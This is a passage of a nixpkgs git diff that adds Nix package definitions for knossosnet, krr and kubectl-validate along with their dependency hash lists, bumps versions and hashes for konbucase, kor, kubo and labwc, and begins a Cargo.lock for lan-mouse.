"Microsoft.Extensions.Logging.Abstractions"; version = "7.0.0"; sha256 = "1gn7d18i1wfy13vrwhmdv1rmsb4vrk26kqdld4cgvh77yigj90xs"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Options"; version = "7.0.0"; sha256 = "0b90zkrsk5dw3wr749rbynhpxlg4bgqdnd7d5vdlw2g9c7zlhgx6"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Primitives"; version = "7.0.0"; sha256 = "1b4km9fszid9vp2zb3gya5ni9fn8bq62bzaas2ck2r7gs0sdys80"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "1.1.0"; sha256 = "08vh1r12g6ykjygq5d3vq09zylgb84l63k49jc4v8faw9g93iqqm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "2.1.2"; sha256 = "1507hnpr9my3z4w1r6xk5n0s1j3y6a2c2cnynj76za7cphxi1141"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "1.1.0"; sha256 = "193xwf33fbm0ni3idxzbr5fdq3i2dlfgihsac9jj7whj0gd902nh"; }) + (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "6.0.0"; sha256 = "0c6pcj088g1yd1vs529q3ybgsd2vjlk5y1ic6dkmbhvrp5jibl9p"; }) + (fetchNuGet { pname = "runtime.any.System.Collections"; version = "4.3.0"; sha256 = "0bv5qgm6vr47ynxqbnkc7i797fdi8gbjjxii173syrx14nmrkwg0"; }) + (fetchNuGet { pname = "runtime.any.System.Globalization"; version = "4.3.0"; sha256 = "1daqf33hssad94lamzg01y49xwndy2q97i2lrb7mgn28656qia1x"; }) + (fetchNuGet { pname = "runtime.any.System.IO"; version = "4.3.0"; sha256 = "0l8xz8zn46w4d10bcn3l4yyn4vhb3lrj2zw8llvz7jk14k4zps5x"; }) + (fetchNuGet { pname = "runtime.any.System.Reflection"; version = "4.3.0"; sha256 = "02c9h3y35pylc0zfq3wcsvc5nqci95nrkq0mszifc0sjx7xrzkly"; }) + (fetchNuGet { pname = "runtime.any.System.Reflection.Extensions"; version = "4.3.0"; sha256 = "0zyri97dfc5vyaz9ba65hjj1zbcrzaffhsdlpxc9bh09wy22fq33"; }) + (fetchNuGet { pname = "runtime.any.System.Reflection.Primitives"; version = "4.3.0"; sha256 = "0x1mm8c6iy8rlxm8w9vqw7gb7s1ljadrn049fmf70cyh42vdfhrf"; }) + (fetchNuGet { pname = "runtime.any.System.Resources.ResourceManager"; version = "4.3.0"; sha256 = "03kickal0iiby82wa5flar18kyv82s9s6d4xhk5h4bi5kfcyfjzl"; }) + (fetchNuGet { pname = "runtime.any.System.Runtime"; version = "4.3.0"; sha256 = "1cqh1sv3h5j7ixyb7axxbdkqx6cxy00p4np4j91kpm492rf4s25b"; }) + (fetchNuGet { pname = "runtime.any.System.Runtime.Handles"; version = "4.3.0"; sha256 = "0bh5bi25nk9w9xi8z23ws45q5yia6k7dg3i4axhfqlnj145l011x"; }) + (fetchNuGet { pname = "runtime.any.System.Runtime.InteropServices"; version = "4.3.0"; sha256 = "0c3g3g3jmhlhw4klrc86ka9fjbl7i59ds1fadsb2l8nqf8z3kb19"; }) + (fetchNuGet { pname = "runtime.any.System.Text.Encoding"; version = "4.3.0"; sha256 = "0aqqi1v4wx51h51mk956y783wzags13wa7mgqyclacmsmpv02ps3"; }) + (fetchNuGet { pname = "runtime.any.System.Threading.Tasks"; version = "4.3.0"; sha256 = "03mnvkhskbzxddz4hm113zsch1jyzh2cs450dk3rgfjp8crlw1va"; }) + (fetchNuGet { pname = "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "16rnxzpk5dpbbl1x354yrlsbvwylrq456xzpsha1n9y3glnhyx9d"; }) + (fetchNuGet { pname = "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0hkg03sgm2wyq8nqk6dbm9jh5vcq57ry42lkqdmfklrw89lsmr59"; }) + (fetchNuGet { pname = "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0c2p354hjx58xhhz7wv6div8xpi90sc6ibdm40qin21bvi7ymcaa"; }) + (fetchNuGet { pname = "runtime.native.System"; version = "4.3.0"; sha256 = "15hgf6zaq9b8br2wi1i3x0zvmk410nlmsmva9p0bbg73v6hml5k4"; }) + (fetchNuGet { pname = "runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "18pzfdlwsg2nb1jjjjzyb5qlgy6xjxzmhnfaijq5s2jw3cm3ab97"; }) + (fetchNuGet { pname = "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0qyynf9nz5i7pc26cwhgi8j62ps27sqmf78ijcfgzab50z9g8ay3"; }) + (fetchNuGet { pname = "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "1klrs545awhayryma6l7g2pvnp9xy4z0r1i40r80zb45q3i9nbyf"; }) + (fetchNuGet { pname = "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0zcxjv5pckplvkg0r6mw3asggm7aqzbdjimhvsasb0cgm59x09l3"; }) + (fetchNuGet { pname = "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0vhynn79ih7hw7cwjazn87rm9z9fj0rvxgzlab36jybgcpcgphsn"; }) + (fetchNuGet { pname = "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "160p68l2c7cqmyqjwxydcvgw7lvl1cr0znkw8fp24d1by9mqc8p3"; }) + (fetchNuGet { pname = "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "15zrc8fgd8zx28hdghcj5f5i34wf3l6bq5177075m2bc2j34jrqy"; }) + (fetchNuGet { pname = "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "1p4dgxax6p7rlgj4q73k73rslcnz4wdcv8q2flg1s8ygwcm58ld5"; }) + (fetchNuGet { pname = "runtime.unix.System.Diagnostics.Debug"; version = "4.3.0"; sha256 = "1lps7fbnw34bnh3lm31gs5c0g0dh7548wfmb8zz62v0zqz71msj5"; }) + (fetchNuGet { pname = "runtime.unix.System.Private.Uri"; version = "4.3.0"; sha256 = "1jx02q6kiwlvfksq1q9qr17fj78y5v6mwsszav4qcz9z25d5g6vk"; }) + (fetchNuGet { pname = "runtime.unix.System.Runtime.Extensions"; version = "4.3.0"; sha256 = "0pnxxmm8whx38dp6yvwgmh22smknxmqs5n513fc7m4wxvs1bvi4p"; }) + (fetchNuGet { pname = "SharpCompress"; version = "0.33.0"; sha256 = "1j94hfjvkygpp97svv75jay0rmnx9ygg86d5syyahl9hayns4ig9"; }) + (fetchNuGet { pname = "SkiaSharp"; version = "2.88.6"; sha256 = "0xs11zjw9ha68maw3l825kfwlrid43qwy0mswljxhpjh0y1k6k6b"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.Linux"; version = "2.88.6"; sha256 = "0cg38xgddww1y93xrnbfn40sin63yl39j5zm7gm5pdgp5si0cf2n"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.macOS"; version = "2.88.6"; sha256 = "1fp9h8c8k6sbsh48b69dc6461isd4dajq7yw5i7j6fhkas78q4zf"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.WebAssembly"; version = "2.88.6"; sha256 = "02wpxwqwknhdhkl00in766samqfzi7r6jmhxs4d047v0fmygv1h8"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; }) + (fetchNuGet { pname = "System.Collections"; version = "4.3.0"; sha256 = "19r4y64dqyrq6k4706dnyhhw7fs24kpp3awak7whzss39dakpxk9"; }) + (fetchNuGet { pname = "System.Collections.Immutable"; version = "5.0.0"; sha256 = "1kvcllagxz2q92g81zkz81djkn2lid25ayjfgjalncyc68i15p0r"; }) + (fetchNuGet { pname = "System.ComponentModel.Annotations"; version = "4.5.0"; sha256 = "1jj6f6g87k0iwsgmg3xmnn67a14mq88np0l1ys5zkxhkvbc8976p"; }) + (fetchNuGet { pname = "System.Diagnostics.Debug"; version = "4.3.0"; sha256 = "00yjlf19wjydyr6cfviaph3vsjzg3d5nvnya26i2fvfg53sknh3y"; }) + (fetchNuGet { pname = "System.Drawing.Common"; version = "6.0.0"; sha256 = "02n8rzm58dac2np8b3xw8ychbvylja4nh6938l5k2fhyn40imlgz"; }) + (fetchNuGet { pname = "System.Dynamic.Runtime"; version = "4.3.0"; sha256 = "1d951hrvrpndk7insiag80qxjbf2y0y39y8h5hnq9612ws661glk"; }) + (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; }) + (fetchNuGet { pname = "System.IO"; version = "4.3.0"; sha256 = "05l9qdrzhm4s5dixmx68kxwif4l99ll5gqmh7rqgw554fx0agv5f"; }) + (fetchNuGet { pname = "System.IO.Pipelines"; version = "6.0.0"; sha256 = "08211lvckdsdbd67xz4f6cyk76cli565j0dby1grlc4k9bhwby65"; }) + (fetchNuGet { pname = "System.Linq"; version = "4.3.0"; sha256 = "1w0gmba695rbr80l1k2h4mrwzbzsyfl2z4klmpbsvsg5pm4a56s7"; }) + (fetchNuGet { pname = "System.Linq.Expressions"; version = "4.3.0"; sha256 = "0ky2nrcvh70rqq88m9a5yqabsl4fyd17bpr63iy2mbivjs2nyypv"; }) + (fetchNuGet { pname = "System.Memory"; version = "4.5.4"; sha256 = "14gbbs22mcxwggn0fcfs1b062521azb9fbb7c113x0mq6dzq9h6y"; }) + (fetchNuGet { pname = "System.Numerics.Vectors"; version = "4.5.0"; sha256 = "1kzrj37yzawf1b19jq0253rcs8hsq1l2q8g69d7ipnhzb0h97m59"; }) + (fetchNuGet { pname = "System.ObjectModel"; version = "4.3.0"; sha256 = "191p63zy5rpqx7dnrb3h7prvgixmk168fhvvkkvhlazncf8r3nc2"; }) + (fetchNuGet { pname = "System.Private.Uri"; version = "4.3.0"; sha256 = "04r1lkdnsznin0fj4ya1zikxiqr0h6r6a1ww2dsm60gqhdrf0mvx"; }) + (fetchNuGet { pname = "System.Reflection"; version = "4.3.0"; sha256 = "0xl55k0mw8cd8ra6dxzh974nxif58s3k1rjv1vbd7gjbjr39j11m"; }) + (fetchNuGet { pname = "System.Reflection.Emit"; version = "4.3.0"; sha256 = "11f8y3qfysfcrscjpjym9msk7lsfxkk4fmz9qq95kn3jd0769f74"; }) + (fetchNuGet { pname = "System.Reflection.Emit.ILGeneration"; version = "4.3.0"; sha256 = "0w1n67glpv8241vnpz1kl14sy7zlnw414aqwj4hcx5nd86f6994q"; }) + (fetchNuGet { pname = "System.Reflection.Emit.Lightweight"; version = "4.3.0"; sha256 = "0ql7lcakycrvzgi9kxz1b3lljd990az1x6c4jsiwcacrvimpib5c"; }) + (fetchNuGet { pname = "System.Reflection.Extensions"; version = "4.3.0"; sha256 = "02bly8bdc98gs22lqsfx9xicblszr2yan7v2mmw3g7hy6miq5hwq"; }) + (fetchNuGet { pname = "System.Reflection.Metadata"; version = "5.0.0"; sha256 = "17qsl5nanlqk9iz0l5wijdn6ka632fs1m1fvx18dfgswm258r3ss"; }) + (fetchNuGet { pname = "System.Reflection.Primitives"; version = "4.3.0"; sha256 = "04xqa33bld78yv5r93a8n76shvc8wwcdgr1qvvjh959g3rc31276"; }) + (fetchNuGet { pname = "System.Reflection.TypeExtensions"; version = "4.3.0"; sha256 = "0y2ssg08d817p0vdag98vn238gyrrynjdj4181hdg780sif3ykp1"; }) + (fetchNuGet { pname = "System.Resources.ResourceManager"; version = "4.3.0"; sha256 = "0sjqlzsryb0mg4y4xzf35xi523s4is4hz9q4qgdvlvgivl7qxn49"; }) + (fetchNuGet { pname = "System.Runtime"; version = "4.3.0"; sha256 = "066ixvgbf2c929kgknshcxqj6539ax7b9m570cp8n179cpfkapz7"; }) + (fetchNuGet { pname = "System.Runtime.CompilerServices.Unsafe"; version = "4.7.1"; sha256 = "119br3pd85lq8zcgh4f60jzmv1g976q1kdgi3hvqdlhfbw6siz2j"; }) + (fetchNuGet { pname = "System.Runtime.CompilerServices.Unsafe"; version = "6.0.0"; sha256 = "0qm741kh4rh57wky16sq4m0v05fxmkjjr87krycf5vp9f0zbahbc"; }) + (fetchNuGet { pname = "System.Runtime.Extensions"; version = "4.3.0"; sha256 = "1ykp3dnhwvm48nap8q23893hagf665k0kn3cbgsqpwzbijdcgc60"; }) + (fetchNuGet { pname = "System.Runtime.Handles"; version = "4.3.0"; sha256 = "0sw2gfj2xr7sw9qjn0j3l9yw07x73lcs97p8xfc9w1x9h5g5m7i8"; }) + (fetchNuGet { pname = "System.Runtime.InteropServices"; version = "4.3.0"; sha256 = "00hywrn4g7hva1b2qri2s6rabzwgxnbpw9zfxmz28z09cpwwgh7j"; }) + (fetchNuGet { pname = "System.Text.Encoding"; version = "4.3.0"; sha256 = "1f04lkir4iladpp51sdgmis9dj4y8v08cka0mbmsy0frc9a4gjqr"; }) + (fetchNuGet { pname = "System.Text.Encoding.CodePages"; version = "4.5.1"; sha256 = "1z21qyfs6sg76rp68qdx0c9iy57naan89pg7p6i3qpj8kyzn921w"; }) + (fetchNuGet { pname = "System.Threading"; version = "4.3.0"; sha256 = "0rw9wfamvhayp5zh3j7p1yfmx9b5khbf4q50d8k5rk993rskfd34"; }) + (fetchNuGet { pname = "System.Threading.Tasks"; version = "4.3.0"; sha256 = "134z3v9abw3a6jsw17xl3f6hqjpak5l682k2vz39spj4kmydg6k7"; }) + (fetchNuGet { pname = "System.Threading.Tasks.Extensions"; version = "4.5.4"; sha256 = "0y6ncasgfcgnjrhynaf0lwpkpkmv4a07sswwkwbwb5h7riisj153"; }) + (fetchNuGet { pname = "Tmds.DBus.Protocol"; version = "0.15.0"; sha256 = "0d99kcs7r9cp6gpyc7z230czkkyx4164x86dhy0mca73f2ykc2g2"; }) +] diff --git a/pkgs/by-name/kn/knossosnet/package.nix b/pkgs/by-name/kn/knossosnet/package.nix new file mode 100644 index 0000000000000..19f45b93b7b95 --- /dev/null +++ b/pkgs/by-name/kn/knossosnet/package.nix @@ -0,0 +1,36 @@ +{ + buildDotnetModule + , fetchFromGitHub + , fontconfig + , lib + , openal + , stdenv + , xorg +}: + +buildDotnetModule rec { + pname = "knossosnet"; + version = "1.0.0"; + + src = fetchFromGitHub { + owner = "KnossosNET"; + repo = "Knossos.NET"; + rev = "v${version}"; + hash = "sha256-Wq4WeRf+ELTxZhQyQf6XAOPmbJwX06qQ5GxRnnK3lyI="; + }; + + patches = [ ./targetframework.patch ]; + + nugetDeps = ./deps.nix; + executables = [ "Knossos.NET" ]; + + runtimeDeps = [ fontconfig openal xorg.libX11 xorg.libICE xorg.libSM ]; + + meta = with lib; { + homepage = "https://github.com/KnossosNET/Knossos.NET"; + description = "A multi-platform launcher for Freespace 2 Open"; + license = licenses.gpl3Only; + mainProgram = "Knossos.NET"; + maintainers = with maintainers; [ cdombroski ]; + }; +} diff --git a/pkgs/by-name/kn/knossosnet/targetframework.patch b/pkgs/by-name/kn/knossosnet/targetframework.patch new file mode 100644 index 0000000000000..2802a18053c4d --- /dev/null +++ b/pkgs/by-name/kn/knossosnet/targetframework.patch @@ -0,0 +1,12 @@ +diff -Naur Knossos.NET-0.1.4/IonKiwi.lz4/IonKiwi.lz4.csproj Knossos.NET-0.1.4.new/IonKiwi.lz4/IonKiwi.lz4.csproj +--- Knossos.NET-0.1.4/IonKiwi.lz4/IonKiwi.lz4.csproj 2023-10-18 15:17:20.000000000 -0400 ++++ Knossos.NET-0.1.4.new/IonKiwi.lz4/IonKiwi.lz4.csproj 2024-01-03 17:39:56.809971086 -0500 +@@ -1,7 +1,7 @@ + <Project Sdk="Microsoft.NET.Sdk"> + + <PropertyGroup> +- <TargetFrameworks>net60</TargetFrameworks> ++ <TargetFramework>net6.0</TargetFramework> + <AllowUnsafeBlocks>true</AllowUnsafeBlocks> + <PackageId>IonKiwi.lz4.managed</PackageId> + <Version>1.0.7</Version> diff --git a/pkgs/by-name/ko/konbucase/package.nix b/pkgs/by-name/ko/konbucase/package.nix index 75876d990661e..56a977eeeb138 100644 --- a/pkgs/by-name/ko/konbucase/package.nix +++ b/pkgs/by-name/ko/konbucase/package.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "konbucase"; - version = "4.1.1"; + version = "4.1.2"; src = fetchFromGitHub { owner = "ryonakano"; repo = "konbucase"; rev = finalAttrs.version; - hash = "sha256-g3EDa9EXymi6c8dRHFZYGEAT7k8M2TXUAzZVKTnLzyk="; + hash = "sha256-md7drxg1JuW6TRJauKOk4Aqjx/V1RVZ+POa5v6DtKwk="; fetchSubmodules = true; }; diff --git a/pkgs/by-name/ko/kor/package.nix b/pkgs/by-name/ko/kor/package.nix index 0a31e1adb1ff7..7fe5937dfba84 100644 --- a/pkgs/by-name/ko/kor/package.nix +++ b/pkgs/by-name/ko/kor/package.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kor"; - version = "0.3.4"; + version = "0.3.6"; src = fetchFromGitHub { owner = "yonahd"; repo = pname; rev = "v${version}"; - hash = "sha256-GeGttcvAhCRLbScxgcV9DrNZbvlsVRyOcA4xFUlHCyI="; + hash = "sha256-Q2VUc91ecBRr/m9DGYWwuSsH2prB+EKmBoQrekgPvTE="; }; - vendorHash = "sha256-x3XlqyaNPafBbCOq6leUHmBzz2poxgT0mVJ8UM0aRzg="; + vendorHash = "sha256-DRbwM6fKTIlefD0rUmNLlUXrK+t3vNCl4rxHF7m8W10="; preCheck = '' HOME=$(mktemp -d) diff --git a/pkgs/by-name/kr/krr/package.nix b/pkgs/by-name/kr/krr/package.nix new file mode 100644 index 0000000000000..f919f8c0d2262 --- /dev/null +++ b/pkgs/by-name/kr/krr/package.nix @@ -0,0 +1,72 @@ +{ lib +, python3 +, fetchFromGitHub +, testers +, krr +}: + +python3.pkgs.buildPythonPackage rec { + pname = "krr"; + version = "1.7.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "robusta-dev"; + repo = "krr"; + rev = "refs/tags/v${version}"; + hash = "sha256-Bc1Ql3z/UmOXE2RJYC5/sE4a3MFdE06I3HwKY+SdSlk="; + }; + + postPatch = '' + substituteInPlace robusta_krr/__init__.py \ + --replace-warn '1.7.0-dev' '${version}' + + substituteInPlace pyproject.toml \ + --replace-warn '1.7.0-dev' '${version}' \ + --replace-fail 'aiostream = "^0.4.5"' 'aiostream = "*"' \ + --replace-fail 'kubernetes = "^26.1.0"' 'kubernetes = "*"' \ + --replace-fail 'pydantic = "1.10.7"' 'pydantic = "*"' \ + --replace-fail 'typer = { extras = ["all"], version = "^0.7.0" }' 'typer = { extras = ["all"], version = "*" }' + ''; + + propagatedBuildInputs = with python3.pkgs; [ + aiostream + alive-progress + kubernetes + numpy + poetry-core + prometheus-api-client + prometrix + pydantic_1 + slack-sdk + typer + ] ++ typer.optional-dependencies.all; + + nativeCheckInputs = with python3.pkgs; [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "robusta_krr" + ]; + + passthru.tests.version = testers.testVersion { + package = krr; + command = "krr version"; + }; + + meta = with lib; { + description = "Prometheus-based Kubernetes resource recommendations"; + longDescription = '' + Robusta KRR (Kubernetes Resource Recommender) is a CLI tool for optimizing + resource allocation in Kubernetes clusters. It gathers Pod usage data from + Prometheus and recommends requests and limits for CPU and memory. This + reduces costs and improves performance. + ''; + homepage = "https://github.com/robusta-dev/krr"; + changelog = "https://github.com/robusta-dev/krr/releases/tag/v${src.rev}"; + license = licenses.mit; + maintainers = with lib.maintainers; [ azahi ]; + mainProgram = "krr"; + }; +} diff --git a/pkgs/by-name/ku/kubectl-validate/package.nix b/pkgs/by-name/ku/kubectl-validate/package.nix new file mode 100644 index 0000000000000..13ca4998c58d9 --- /dev/null +++ b/pkgs/by-name/ku/kubectl-validate/package.nix @@ -0,0 +1,40 @@ +{ lib +, buildGoModule +, fetchFromGitHub +, nix-update-script +}: +let + version = "0.0.1"; +in +buildGoModule { + inherit version; + pname = "kubectl-validate"; + + src = fetchFromGitHub { + owner = "kubernetes-sigs"; + repo = "kubectl-validate"; + rev = "v${version}"; + hash = "sha256-0lwN+3Cy7O9kX9dh8PjxmvdyKSZhBxcxy+b+ZtuDZaw="; + }; + + vendorHash = null; + + # Disable the download tool. + # Disable network based tests. + preBuild = '' + mv cmd/download-builtin-schemas/main.go cmd/download-builtin-schemas/_main.go + mv pkg/openapiclient/github_builtins_test.go pkg/openapiclient/_github_builtins_test.go + ''; + + passthru.updateScript = nix-update-script { }; + + meta = { + platforms = lib.platforms.all; + mainProgram = "kubectl-validate"; + description = "A tool for local validation of resources for native Kubernetes types and CRDs"; + homepage = "https://github.com/kubernetes-sigs/kubectl-validate"; + changelog = "https://github.com/kubernetes-sigs/kubectl-validate/releases/tag/v${version}"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ fd ]; + }; +} diff --git a/pkgs/by-name/ku/kubo/package.nix b/pkgs/by-name/ku/kubo/package.nix index e9a81a90b2349..6b8369c02bff0 100644 --- a/pkgs/by-name/ku/kubo/package.nix +++ b/pkgs/by-name/ku/kubo/package.nix @@ -7,7 +7,7 @@ buildGoModule rec { pname = "kubo"; - version = "0.26.0"; # When updating, also check if the repo version changed and adjust repoVersion below + version = "0.27.0"; # When updating, also check if the repo version changed and adjust repoVersion below rev = "v${version}"; passthru.repoVersion = "15"; # Also update kubo-migrator when changing the repo version @@ -15,7 +15,7 @@ buildGoModule rec { # Kubo makes changes to its source tarball that don't match the git source. src = fetchurl { url = "https://github.com/ipfs/kubo/releases/download/${rev}/kubo-source.tar.gz"; - hash = "sha256-qvn5VqEPLkehFWamtPGRuDLJ06bd5bn1qZRp05jP2AY="; + hash = "sha256-xWVV2AUpogZaMb3v0w/C+DXvR2rmbOj1Bpyb3on2hfY="; }; # tarball contains multiple files/directories diff --git a/pkgs/by-name/la/labwc/package.nix b/pkgs/by-name/la/labwc/package.nix index e28176a7d1cdf..36aa398e8767e 100644 --- a/pkgs/by-name/la/labwc/package.nix +++ b/pkgs/by-name/la/labwc/package.nix @@ -1,7 +1,6 @@ { lib -, stdenv -, fetchFromGitHub , cairo +, fetchFromGitHub , gettext , glib , libdrm @@ -16,6 +15,7 @@ , pango , pkg-config , scdoc +, stdenv , wayland , wayland-protocols , wayland-scanner @@ -26,15 +26,17 @@ stdenv.mkDerivation (finalAttrs: { pname = "labwc"; - version = "0.7.0"; + version = "0.7.1"; src = fetchFromGitHub { owner = "labwc"; repo = "labwc"; rev = finalAttrs.version; - hash = "sha256-/z2Wo9zhuEVIpk8jHYwg2JbBqkX7tfDP2KTZ9yzj454="; + hash = "sha256-6l+pYEMFQT8P0j40IcujSzlKgXzR5GIyuxkAJi65RiY="; }; + outputs = [ "out" "man" ]; + nativeBuildInputs = [ gettext meson @@ -62,8 +64,6 @@ stdenv.mkDerivation (finalAttrs: { xwayland ]; - outputs = [ "out" "man" ]; - strictDeps = true; mesonFlags = [ @@ -77,8 +77,9 @@ stdenv.mkDerivation (finalAttrs: { meta = { homepage = "https://github.com/labwc/labwc"; description = "A Wayland stacking compositor, inspired by Openbox"; - changelog = "https://raw.githubusercontent.com/labwc/labwc/${finalAttrs.version}/NEWS.md"; - license = lib.licenses.gpl2Plus; + changelog = "https://github.com/labwc/labwc/blob/${finalAttrs.src.rev}/NEWS.md"; + license = with lib.licenses; [ gpl2Plus ]; + mainProgram = "labwc"; maintainers = with lib.maintainers; [ AndersonTorres ]; inherit (wayland.meta) platforms; }; diff --git a/pkgs/by-name/la/lan-mouse/Cargo.lock b/pkgs/by-name/la/lan-mouse/Cargo.lock new file mode 100644 index 0000000000000..dcdc87b3df303 --- /dev/null +++ b/pkgs/by-name/la/lan-mouse/Cargo.lock @@ -0,0 +1,2716 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d664a92ecae85fd0a7392615844904654d1d5f5514837f471ddef4a057aba1b6" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" + +[[package]] +name = "anstyle-parse" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" +dependencies = [ + "anstyle", + "windows-sys 0.52.0", +] + +[[package]] +name = "anyhow" +version = "1.0.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59d2a3357dde987206219e78ecfbbb6e8dad06cbb65292758d3270e6254f7355" + +[[package]] +name = "arraydeque" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0ffd3d69bd89910509a5d31d1f1353f38ccffdd116dd0099bbd6627f7bd8ad8" + +[[package]] +name = "arrayvec" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd9fd44efafa8690358b7408d253adf110036b88f55672a933f01d616ad9b1b9" +dependencies = [ + "nodrop", +] + +[[package]] +name = "ashpd" +version = "0.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c018490e423efb6f032ef575f873ea57b61d44bec763cfe027b8e8852a027cf" +dependencies = [ + "enumflags2", + "futures-channel", + "futures-util", + "once_cell", + "rand", + "serde", + "serde_repr", + "tokio", + "url", + "zbus", +] + +[[package]] +name = "async-broadcast" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c48ccdbf6ca6b121e0f586cbc0e73ae440e56c67c30fa0873b4e110d9c26d2b" +dependencies = [ + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ca33f4bc4ed1babef42cad36cc1f51fa88be00420404e5b1e80ab1b18f7678c" +dependencies = [ + "concurrent-queue", + "event-listener 4.0.1", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-io" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" +dependencies = [ + "async-lock 2.8.0", + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-lite 1.13.0", + "log", + "parking", + "polling 2.8.0", + "rustix 0.37.27", + "slab", + "socket2 0.4.10", + "waker-fn", +] + +[[package]] +name = "async-io" +version = "2.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6afaa937395a620e33dc6a742c593c01aced20aa376ffb0f628121198578ccc7" +dependencies = [ + "async-lock 3.2.0", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite 2.1.0", + "parking", + "polling 3.3.1", + "rustix 0.38.28", + "slab", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "async-lock" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "287272293e9d8c41773cec55e365490fe034813a2f172f502d6ddcf75b2f582b" +dependencies = [ + "event-listener 2.5.3", +] + +[[package]] +name = "async-lock" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7125e42787d53db9dd54261812ef17e937c95a51e4d291373b670342fa44310c" +dependencies = [ + "event-listener 4.0.1", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-process" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea6438ba0a08d81529c69b36700fa2f95837bfe3e776ab39cde9c14d9149da88" +dependencies = [ + "async-io 1.13.0", + "async-lock 2.8.0", + "async-signal", + "blocking", + "cfg-if", + "event-listener 3.1.0", + "futures-lite 1.13.0", + "rustix 0.38.28", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-recursion" +version = 